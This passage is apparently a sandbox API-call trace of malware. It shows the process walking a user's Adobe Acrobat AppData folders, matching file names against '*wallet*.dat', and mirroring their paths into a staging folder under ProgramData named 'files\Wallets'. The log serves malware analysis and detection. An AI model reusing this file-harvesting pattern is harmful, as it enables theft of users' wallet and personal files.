lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\." [0052.048] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.048] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.048] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0052.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\" [0052.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\.." [0052.048] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms" [0052.048] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\" [0052.048] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Forms\\.." [0052.048] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.048] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.048] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.048] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0052.048] PathMatchSpecW (pszFile="Forms", pszSpec="*wallet*.dat") returned 0 [0052.048] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.048] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0052.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0052.048] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.048] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\" [0052.048] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\", lpString2="JSCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" [0052.048] lstrcmpW (lpString1="JSCache", lpString2=".") returned 1 [0052.048] lstrcmpW (lpString1="JSCache", lpString2="..") returned 1 [0052.048] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0052.048] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*.*" [0052.048] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a540 [0052.049] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\." [0052.049] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\." [0052.049] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.049] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.049] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\.." [0052.049] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\.." [0052.049] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.049] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.049] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.049] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0052.049] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobData" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0052.049] PathMatchSpecW (pszFile="GlobData", pszSpec="*wallet*.dat") returned 0 [0052.049] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.049] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0052.049] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\" [0052.049] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\", lpString2="GlobSettings" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\JSCache\\GlobSettings" [0052.049] PathMatchSpecW (pszFile="GlobSettings", pszSpec="*wallet*.dat") returned 0 [0052.050] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.050] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.050] PathMatchSpecW (pszFile="JSCache", pszSpec="*wallet*.dat") returned 0 [0052.050] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.050] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0052.050] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC" [0052.050] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\" [0052.050] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\", lpString2="Security" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" [0052.050] lstrcmpW (lpString1="Security", lpString2=".") returned 1 [0052.050] lstrcmpW (lpString1="Security", lpString2="..") returned 1 [0052.050] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*.*" [0052.050] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x58a540 [0052.050] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\." [0052.050] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" [0052.050] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\" [0052.050] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\." [0052.050] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.050] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.050] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\" [0052.050] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\.." [0052.050] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" [0052.051] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\" [0052.051] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\.." [0052.051] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.051] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.051] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.051] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0052.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\" [0052.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: 